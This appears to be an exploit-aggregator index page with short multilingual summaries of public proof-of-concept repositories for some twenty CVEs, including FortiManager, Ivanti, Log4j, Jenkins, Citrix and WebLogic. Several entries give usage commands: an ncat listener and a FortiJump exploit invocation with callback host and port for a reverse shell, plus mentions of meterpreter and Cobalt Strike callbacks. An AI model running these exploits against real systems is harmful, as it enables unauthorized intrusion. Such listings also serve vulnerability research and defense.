CVE-2024-27130

CVE-2024-27130 @watchTowr によって開発された概念実証 PoC で、脆弱な QNAP デバイス上のスタックオーバーフロー脆弱性を悪用して RCE を獲得します。 watchTowr Labs チームをフォローして、セキュリティ研究をご覧ください https://labs.watchtowr.com/ https://twitter.com/watchtowrcyber...

Fortijump-Exploit-CVE-2024-47575

CVE-2024-47575 Fortinet FortiManager 未经身份验证的远程代码执行，又名 FortiJump CVE-2024-47575 查看我们的博客文章了解技术细节 首先，建立你的 ncat 会话： root@kitploit: nc -lvvnp 80 然后，执行我们的检测产物生成器： root@kitploit: python3 CVE-2024-47575.py --target 192.168.1.110 --lhost 192.168.1.53 --lport 80 --action exploit 仅检查漏洞时，使用以下选项： root@kitploi...

CVE-2025-0282

CVE-2025-0282 Ivanti Connect Secure IFT TLS スタックオーバーフロー 事前認証RCE CVE-2025-0282 これは意図的に簡単ではない形で壊されており、以前のエクスプロイト技術ブログ記事で概説したとおりに動作させるには努力が必要です。 この脆弱性を理解するには、技術的な解説記事を参照してください。 エクスプロイトのウォークスルーと手法 - Ivanti Connect Secure RCE CVE-2025-0282 PoC このコードは2つのモードで動作します: 1. 通常モード 2. エクスプロイトモード...

cve-2023-46604

Apache ActiveMQ CVE-2023-46604 CVE-2023-46604は、CISAのKEVリストに掲載されている広く悪用されている脆弱性です。このgo-exploit実装は、Nashornペイロードを使用してターゲット上でリバースシェルを実行するか、バイナリをターゲットにダウンロードして実行することができます。 コンパイル Dockerイメージにエクスプロイトをビルドするには、以下のようにします： root@kitploit: make docker Goのビルド環境があれば、makeコマンドだけでも利用できます： root@kitploit:...

CVE-2025-49844

CVE-2025-49844 – Redis Lua 解析器释放后使用 Lua chunk 名称的 GC 竞争条件导致 Redis 8.2.1 释放后使用及远程代码执行。 概述 Redis 内嵌 Lua 5.1 用于脚本执行。在 8.2.1 及之前的版本中，luaYparser 函数在调用词法分析器之前，并未将 chunk 名称字符串锚定在 Lua 栈上。恶意构造的脚本可在解析器仍引用已释放字符串时触发垃圾回收，从而产生释放后使用（UAF），导致原生代码执行。 环境 Redis 服务器 8.2.1（或 8.2.2 之前任意受影响版本） redis-cli 可本地网络访问 Redis 实例...

CVE-2015-1635-POC

CVE-2015-1635-POC, MS15-034 HTTP.sys HTTP.sys is the kernel driver for Microsoft Windows that handles HTTP requests. It was introduced from IIS6.0 to optimize IIS server performance, and the IIS service process depends on HTTP.sys. The HTTP.sys remote code execution vulnerability is essentially a...

CVE-2017-1000353

CVE-2017-1000353 POC Jenkins CVE-2017-1000353 を再現する方法？ このリポジトリをクローンし、以下のコマンドでビルド済みペイロード jenkinspoc.ser を使用します： root@kitploit: python exploit.py http://your-ip:8080 jenkinspoc.ser すると、touch /tmp/success が実行されます。 Java バージョンの要件 重要 : ペイロードの生成は Java のバージョンに依存します。openjdk:8u292 で正常にテストされています。他の Java...

CVE-2024-37084

CVE-2024-37084 Ejecución remota de código en Spring Cloud...

log4shell-test-exploit

CVE-2021-44228 log4shell のテストエクスプロイト 準備 root@kitploit: Install Nodejs HTTP server npm -g i http-server Build victim app cd victim-app mvn install Compile Trojan cd test-trojan javac Trojan.java Build marshalsec required Java 8 git clone [email protected]:mbechler/marshalsec.git cd marshalsec...

cve-2021-41773

Apache 2.4.49 - 路径遍历或远程代码执行 cve-2021-41773.py 是一个 Python 脚本，用于检测 Apache 2.4.49 中的路径遍历或远程代码执行漏洞。提供了易受攻击的 Docker 实例，让您亲身体验 CVE-2021-41773 如果 CGI-BIN 已启用，则可以执行远程代码执行（而非路径遍历），因此 在 httpd.conf 的 Alias 部分中添加了 "icons" 目录，用于检测路径遍历漏洞。 httpd.conf 中的易受攻击配置 root@kitploit: 1. 启用 CGI-BIN 2. 在 Alias 部分添加 "icons"...

0-click-RCE-Exploit-for-CVE-2024-51793

CVE-2024-51793 / 0-Click RCE 漏洞利用 作者: Joshua Provoste https://x.com/JoshuaProvoste/status/1858668072279626138 本仓库包含一个针对 CVE-2024-51793 的概念验证利用程序，该漏洞是一个存在漏洞的 WordPress 插件中的未经验证的任意文件上传漏洞，可导致远程命令执行（RCE）。 脚本功能 该脚本滥用一个存在漏洞的 admin-ajax.php 操作，在无需身份验证的情况下上传 PHP 载荷。上传后，它会检测目标操作系统，并提供一个交互式远程 Shell 用于执行命令。...

cve-2021-42013

Apache 2.4.50 - パストラバーサルまたはリモートコード実行 CVE-2021-42013.py は、Apache 2.4.50 におけるパストラバーサルまたはリモートコード実行の脆弱性を見つけるための Python スクリプトです。CVE-2021-42013 の実践的な学習のために、脆弱な Docker インスタンスが提供されています。 CGI-BIN が有効な場合、リモートコード実行は可能ですが、パストラバーサルは不可能です。そのため、パストラバーサルの脆弱性を確認するために、httpd.conf の Alias セクションに "icons"...

CVE-2019-19781-CitrixRCE

Citrix未授权远程代码执行攻击工具 - CVE-2019-19781 参考资料： https://blog.fox-it.com/2020/07/01/a-second-look-at-cve-2019-19781-citrix-netscaler-adc/ 绕过方式： 1 - 已删除/修改的脚本位于：/vpn/../vpns/portal/scripts/ 2 - Perl命令注入（模板注入）攻击后出现的正斜杠（"/"）问题...

CVE-2019-2729

CVE-2019-2729 针对运行在Windows上的Oracle Weblogic CVE-2019-2729的利用代码。 可以创建一个回调到CobaltStrike监听器或一个带有payload windows/meterpreter/reversetcp的Metasploit处理程序。 还有一个非信标利用程序，只需在底层主机上执行命令。exploit.py。此版本还启用了代理支持。...

CVE-2023-46805

Title: Proof of Concept for CVE-2023-46805 - For Educational Use Only License: This work is placed under the Creative Commons Attribution 4.0 International License CC BY 4.0. You are free to share, copy, distribute, and transmit this work, to adapt it or use it for other purposes, provided the...

CVE-2021-34481

CVE-2021-34481 检查 CVE-2021-34481 的补丁（Windows 打印后台处理程序远程代码执行漏洞） https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34481...

CVE-2022-47966-Scan

CVE-2022-47966 スキャナー 概要 CVE-2022-47966 は、少なくとも 24 のオンプレミス ManageEngine 製品に影響を与える、認証不要の重要なリモートコード実行の脆弱性です。この脆弱性は、SAML SSO が有効になっている場合にのみ適用されます。一部の製品では、SAML SSO が以前に有効になっていた場合にも適用されます。 タイムライン CVE-2022-47966 は、Khoadha of Viettel Cyber Security によって発見され、影響を受ける製品については 2022 年 10...

CVE-2022-27925-PoC

CVE-2022-27925-PoC Zimbra RCE シンプルな poc...

CVE-2024-32002-hook

CVE-2024-32002-hook CVE-2024-32002 是一个 Git 远程代码执行（RCE）漏洞。此工具是一个自动化概念验证（PoC），用于演示该漏洞。它利用 git clone 过程中对符号链接（symlink）和子模块（submodule）的不当处理。 ✨ 特性 自动创建恶意仓库（malicious repository） 通过符号链接执行任意代码 支持自定义 payload 清晰的输出信息提示 📋 前提条件 Git 版本 = 2.45.1 或 2.45.0 以下（存在漏洞的版本） Linux 或 macOS Python 3.x 🛠 安装 克隆此仓库：...

CVE-2022-35405

CVE-2022-35405 私のブログ記事 Nuclei テンプレート その他の記事 ManageEngine PAM360 および Password Manager Pro の認証不要リモートコード実行脆弱性 PoC（Access Manager Plus は認証済みのみ :\） 製品名| 影響を受けるバージョン| デフォルトポート ---|---|--- PAM360| 5.5 5500 以下| 8282 Password Manager Pro| 12.1 12100 以下| 7272 Access Manager Plus 認証済み| 4.3 4302 以下| 9292...